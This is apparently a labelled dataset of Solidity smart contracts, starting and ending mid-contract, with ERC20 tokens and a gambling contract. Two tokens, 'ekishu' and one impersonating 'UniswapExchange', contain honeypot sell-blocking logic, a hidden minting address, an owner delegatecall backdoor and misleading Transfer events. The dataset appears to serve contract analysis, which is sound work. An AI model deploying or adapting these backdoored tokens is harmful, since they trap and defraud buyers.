balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract ZipToken is PausableToken { string public constant name = "ZIPT Convertible"; string public constant symbol = "ZIPTC"; uint8 public constant decimals = 18; uint public constant TOTAL_TOKEN_AMOUNT = 1000000000; uint public constant INITIAL_SUPPLY = TOTAL_TOKEN_AMOUNT * 10**uint(decimals); bool public filled = false; function ZipToken() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } function distributeTokens(address[] addresses, uint[] values) public onlyOwner { require(addresses.length == values.length); for (uint i = 0; i < addresses.length; i++) { address a = addresses[i]; uint v = values[i]; if (balanceOf(a) == 0) { transfer(a, v); } } } function die() public onlyOwner { selfdestruct(msg.sender); } }
1
3,919
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract ekishu { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1128272879772349028992474526206451541022554459967)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,627
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,522
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract ERC20 { function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address owner, address spender) public constant returns (uint256); function balanceOf(address who) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function transfer(address _to, uint256 _value) public; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Play0x_LottoBall { using SafeMath for uint256; using SafeMath for uint128; using SafeMath for uint40; using SafeMath for uint8; uint public jackpotSize; uint public tokenJackpotSize; uint public MIN_BET; uint public MAX_BET; uint public MAX_AMOUNT; uint public maxProfit; uint public maxTokenProfit; uint8 public platformFeePercentage = 15; uint8 public jackpotFeePercentage = 5; uint8 public ERC20rewardMultiple = 5; uint constant BetExpirationBlocks = 250; uint public lockedInBets; uint public lockedTokenInBets; bytes32 bitComparisonMask = 0xF; address public owner; address private nextOwner; address public manager; address private nextManager; address[] public secretSignerList; address public ERC20ContractAddres; address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; struct Bet { uint amount; uint40 placeBlockNumber; address gambler; } mapping (uint => Bet) public bets; uint32[] public withdrawalMode; event ToManagerPayment(address indexed beneficiary, uint amount); event ToManagerFailedPayment(address indexed beneficiary, uint amount); event ToOwnerPayment(address indexed beneficiary, uint amount); event ToOwnerFailedPayment(address indexed beneficiary, uint amount); event Payment(address indexed beneficiary, uint amount); event FailedPayment(address indexed beneficiary, uint amount); event TokenPayment(address indexed beneficiary, uint amount); event JackpotBouns(address indexed beneficiary, uint amount); event TokenJackpotBouns(address indexed beneficiary, uint amount); event PlaceBetLog(address indexed player, uint amount,uint8 rotateTime); event BetRelatedData( address indexed player, uint playerBetAmount, uint playerGetAmount, bytes32 entropy, bytes32 entropy2, uint8 Uplimit, uint8 rotateTime ); constructor () public { owner = msg.sender; manager = DUMMY_ADDRESS; ERC20ContractAddres = DUMMY_ADDRESS; } modifier onlyOwner { require (msg.sender == owner); _; } modifier onlyManager { require (msg.sender == manager); _; } function initialParameter(address _manager,address[] _secretSignerList,address _erc20tokenAddress ,uint _MIN_BET,uint _MAX_BET,uint _maxProfit,uint _maxTokenProfit, uint _MAX_AMOUNT, uint8 _platformFeePercentage,uint8 _jackpotFeePercentage,uint8 _ERC20rewardMultiple,uint32[] _withdrawalMode)external onlyOwner{ manager = _manager; secretSignerList = _secretSignerList; ERC20ContractAddres = _erc20tokenAddress; MIN_BET = _MIN_BET; MAX_BET = _MAX_BET; maxProfit = _maxProfit; maxTokenProfit = _maxTokenProfit; MAX_AMOUNT = _MAX_AMOUNT; platformFeePercentage = _platformFeePercentage; jackpotFeePercentage = _jackpotFeePercentage; ERC20rewardMultiple = _ERC20rewardMultiple; withdrawalMode = _withdrawalMode; } function approveNextOwner(address _nextOwner) external onlyOwner { require (_nextOwner != owner); nextOwner = _nextOwner; } function acceptNextOwner() external { require (msg.sender == nextOwner); owner = nextOwner; } function approveNextManager(address _nextManager) external onlyManager { require (_nextManager != manager); nextManager = _nextManager; } function acceptNextManager() external { require (msg.sender == nextManager); manager = nextManager; } function () public payable { } function setSecretSignerList(address[] newSecretSignerList) external onlyOwner { secretSignerList = newSecretSignerList; } function setSecretSignerByIndex(address newSecretSigner,uint newSecretSignerIndex) external onlyOwner { secretSignerList[newSecretSignerIndex] = newSecretSigner; } function setTokenAddress(address _tokenAddress) external onlyManager { ERC20ContractAddres = _tokenAddress; } function setMaxProfit(uint _maxProfit) public onlyOwner { require (_maxProfit < MAX_AMOUNT); maxProfit = _maxProfit; } function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner { require (withdrawAmount <= address(this).balance); uint safetyAmount = jackpotSize.add(lockedInBets).add(withdrawAmount); safetyAmount = safetyAmount.add(withdrawAmount); require (safetyAmount <= address(this).balance); sendFunds(beneficiary, withdrawAmount, withdrawAmount); } function withdrawToken(address beneficiary, uint withdrawAmount) external onlyOwner { require (withdrawAmount <= ERC20(ERC20ContractAddres).balanceOf(address(this))); uint safetyAmount = tokenJackpotSize.add(lockedTokenInBets); safetyAmount = safetyAmount.add(withdrawAmount); require (safetyAmount <= ERC20(ERC20ContractAddres).balanceOf(address(this))); ERC20(ERC20ContractAddres).transfer(beneficiary, withdrawAmount); emit TokenPayment(beneficiary, withdrawAmount); } function withdrawAllFunds(address beneficiary) external onlyOwner { if (beneficiary.send(address(this).balance)) { lockedInBets = 0; emit Payment(beneficiary, address(this).balance); } else { emit FailedPayment(beneficiary, address(this).balance); } } function withdrawAlltokenFunds(address beneficiary) external onlyOwner { ERC20(ERC20ContractAddres).transfer(beneficiary, ERC20(ERC20ContractAddres).balanceOf(address(this))); lockedTokenInBets = 0; emit TokenPayment(beneficiary, ERC20(ERC20ContractAddres).balanceOf(address(this))); } function kill() external onlyOwner { require (lockedInBets == 0); require (lockedTokenInBets == 0); selfdestruct(owner); } function getContractInformation()public view returns( uint _jackpotSize, uint _tokenJackpotSize, uint _MIN_BET, uint _MAX_BET, uint _MAX_AMOUNT, uint8 _platformFeePercentage, uint8 _jackpotFeePercentage, uint _maxProfit, uint _maxTokenProfit, uint _lockedInBets, uint _lockedTokenInBets, uint32[] _withdrawalMode){ _jackpotSize = jackpotSize; _tokenJackpotSize = tokenJackpotSize; _MIN_BET = MIN_BET; _MAX_BET = MAX_BET; _MAX_AMOUNT = MAX_AMOUNT; _platformFeePercentage = platformFeePercentage; _jackpotFeePercentage = jackpotFeePercentage; _maxProfit = maxProfit; _maxTokenProfit = maxTokenProfit; _lockedInBets = lockedInBets; _lockedTokenInBets = lockedTokenInBets; _withdrawalMode = withdrawalMode; } function getContractAddress()public view returns( address _owner, address _manager, address[] _secretSignerList, address _ERC20ContractAddres ){ _owner = owner; _manager= manager; _secretSignerList = secretSignerList; _ERC20ContractAddres = ERC20ContractAddres; } enum PlaceParam { RotateTime, possibleWinAmount, secretSignerIndex } function placeBet(uint[] placParameter, bytes32 _signatureHash , uint _commitLastBlock, uint _commit, bytes32 r, bytes32 s, uint8 v) external payable { require (uint8(placParameter[uint8(PlaceParam.RotateTime)]) != 0); require (block.number <= _commitLastBlock ); require (secretSignerList[placParameter[uint8(PlaceParam.secretSignerIndex)]] == ecrecover(_signatureHash, v, r, s)); Bet storage bet = bets[_commit]; require (bet.gambler == address(0)); lockedInBets = lockedInBets.add(uint(placParameter[uint8(PlaceParam.possibleWinAmount)])); require (uint(placParameter[uint8(PlaceParam.possibleWinAmount)]) <= msg.value.add(maxProfit)); require (lockedInBets <= address(this).balance); bet.amount = msg.value; bet.placeBlockNumber = uint40(block.number); bet.gambler = msg.sender; emit PlaceBetLog(msg.sender, msg.value, uint8(placParameter[uint8(PlaceParam.RotateTime)])); } function placeTokenBet(uint[] placParameter,bytes32 _signatureHash , uint _commitLastBlock, uint _commit, bytes32 r, bytes32 s, uint8 v,uint _amount,address _playerAddress) external { require (placParameter[uint8(PlaceParam.RotateTime)] != 0); require (block.number <= _commitLastBlock ); require (secretSignerList[placParameter[uint8(PlaceParam.secretSignerIndex)]] == ecrecover(_signatureHash, v, r, s)); Bet storage bet = bets[_commit]; require (bet.gambler == address(0)); lockedTokenInBets = lockedTokenInBets.add(uint(placParameter[uint8(PlaceParam.possibleWinAmount)])); require (uint(placParameter[uint8(PlaceParam.possibleWinAmount)]) <= _amount.add(maxTokenProfit)); require (lockedTokenInBets <= ERC20(ERC20ContractAddres).balanceOf(address(this))); bet.amount = _amount; bet.placeBlockNumber = uint40(block.number); bet.gambler = _playerAddress; emit PlaceBetLog(_playerAddress, _amount, uint8(placParameter[uint8(PlaceParam.RotateTime)])); } function getBonusPercentageByMachineMode(uint8 machineMode)public view returns( uint upperLimit,uint maxWithdrawalPercentage ){ uint limitIndex = machineMode.mul(2); upperLimit = withdrawalMode[limitIndex]; maxWithdrawalPercentage = withdrawalMode[(limitIndex.add(1))]; } enum SettleParam { Uplimit, BonusPercentage, RotateTime, CurrencyType, MachineMode, PerWinAmount, PerBetAmount, PossibleWinAmount, LuckySeed, jackpotFee, secretSignerIndex, Reveal } enum TotalParam { TotalAmount, TotalTokenAmount, TotalJackpotWin } function settleBet(uint[] combinationParameter, bytes32 blockHash ) external{ uint commit = uint(keccak256(abi.encodePacked(combinationParameter[uint8(SettleParam.Reveal)]))); Bet storage bet = bets[commit]; require (bet.amount != 0); require (block.number <= bet.placeBlockNumber.add(BetExpirationBlocks)); require (blockhash(bet.placeBlockNumber) == blockHash); bytes32 _entropy = keccak256( abi.encodePacked( uint( keccak256( abi.encodePacked( combinationParameter[uint8(SettleParam.Reveal)], combinationParameter[uint8(SettleParam.LuckySeed)] ) ) ), blockHash ) ); uint totalAmount = 0; uint totalTokenAmount = 0; uint totalJackpotWin = 0; (totalAmount,totalTokenAmount,totalJackpotWin) = runRotateTime( combinationParameter, _entropy, keccak256( abi.encodePacked(uint(_entropy), combinationParameter[uint8(SettleParam.LuckySeed)]) ) ); if (totalJackpotWin > 0 && combinationParameter[uint8(SettleParam.CurrencyType)] == 0) { emit JackpotBouns(bet.gambler,totalJackpotWin); totalAmount = totalAmount.add(totalJackpotWin); jackpotSize = uint128(jackpotSize.sub(totalJackpotWin)); }else if (totalJackpotWin > 0 && combinationParameter[uint8(SettleParam.CurrencyType)] == 1) { emit TokenJackpotBouns(bet.gambler,totalJackpotWin); totalAmount = totalAmount.add(totalJackpotWin); tokenJackpotSize = uint128(tokenJackpotSize.sub(totalJackpotWin)); } emit BetRelatedData( bet.gambler, bet.amount, totalAmount, _entropy, keccak256(abi.encodePacked(uint(_entropy), combinationParameter[uint8(SettleParam.LuckySeed)])), uint8(combinationParameter[uint8(SettleParam.Uplimit)]), uint8(combinationParameter[uint8(SettleParam.RotateTime)]) ); if (combinationParameter[uint8(SettleParam.CurrencyType)] == 0) { if (totalAmount != 0){ sendFunds(bet.gambler, totalAmount , totalAmount); } if (totalTokenAmount != 0){ if(ERC20(ERC20ContractAddres).balanceOf(address(this)) > 0){ ERC20(ERC20ContractAddres).transfer(bet.gambler, totalTokenAmount); emit TokenPayment(bet.gambler, totalTokenAmount); } } }else if(combinationParameter[uint8(SettleParam.CurrencyType)] == 1){ if (totalAmount != 0){ if(ERC20(ERC20ContractAddres).balanceOf(address(this)) > 0){ ERC20(ERC20ContractAddres).transfer(bet.gambler, totalAmount); emit TokenPayment(bet.gambler, totalAmount); } } } if (combinationParameter[uint8(SettleParam.CurrencyType)] == 0) { lockedInBets = lockedInBets.sub(combinationParameter[uint8(SettleParam.PossibleWinAmount)]); } else if (combinationParameter[uint8(SettleParam.CurrencyType)] == 1){ lockedTokenInBets = lockedTokenInBets.sub(combinationParameter[uint8(SettleParam.PossibleWinAmount)]); } bet.amount = 0; if (uint16(combinationParameter[uint8(SettleParam.CurrencyType)]) == 0) { jackpotSize = 